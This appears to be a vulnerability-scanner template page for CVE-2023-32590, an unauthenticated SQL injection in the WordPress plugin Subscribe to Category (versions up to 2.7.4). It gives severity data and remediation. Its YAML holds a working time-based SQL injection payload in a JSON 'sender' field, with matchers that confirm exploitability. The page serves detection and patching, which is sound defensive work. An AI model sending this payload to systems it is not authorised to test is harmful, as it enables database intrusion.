Subscribe to Category <= 2.7.4 - SQL Injection
CVE-2023-32590
Verified
Description
The Subscribe to Category contains a sql_injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL commands, exploit requires user interaction.
Severity
Critical
CVSS Score
9.3
Exploit Probability
2%
Published Date
February 14, 2026
Template Author
shivam kamboj
CVE-2023-32590.yaml
id: CVE-2023-32590
info:
name: Subscribe to Category <= 2.7.4 - SQL Injection
author: Shivam Kamboj
severity: critical
description: |
The Subscribe to Category contains a sql_injection caused by improper neutralization of special elements used in an SQL command, letting attackers execute arbitrary SQL commands, exploit requires user interaction.
impact: |
Attackers can execute arbitrary SQL commands, potentially leading to data leakage, modification, or deletion.
remediation: |
Update to the latest version beyond 2.7.4 or apply security patches that neutralize special elements in SQL queries.
reference:
- https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/subscribe-to-category/subscribe-to-category-274-unauthenticated-sql-injection
- https://nvd.nist.gov/vuln/detail/CVE-2023-32590
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
cvss-score: 9.3
cve-id: CVE-2023-32590
epss-score: 0.01646
epss-percentile: 0.73618
cwe-id: CWE-89
metadata:
verified: true
max-request: 1
tags: cve,cve2023,wordpress,wp,wp-plugin,sqli,subscribe-to-category,unauth
http:
- raw:
- |
@timeout: 30s
POST /wp-json/textmagic/v1/smsreceived HTTP/1.1
Host: {{Hostname}}
Content-Type: application/json
{"sender": "1' AND (SELECT 1 FROM (SELECT(SLEEP(10)))sqltest) AND '1'='1","text": "test"}
matchers:
- type: dsl
dsl:
- 'duration >= 10'
- 'len(body) == 0'
- 'status_code == 200'
- 'contains(content_type, "application/json")'
condition: and
# digest: 490a004630440220596729005d7e832251d8f4b76afeac48784df70a20fddeb0313d7928d18f394402205be41bc8b98d34b4b748c222cac893946ada66b5f27c53a26c946cb10359bd59:922c64590222798bb761d5b6d8e729509.3Score
CVSS Metrics
CVSS Vector:
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L
CVE ID:
cve-2023-32590
CWE ID:
cwe-89
Remediation Steps
Update to the latest version beyond 2.7.4 or apply security patches that neutralize special elements in SQL queries.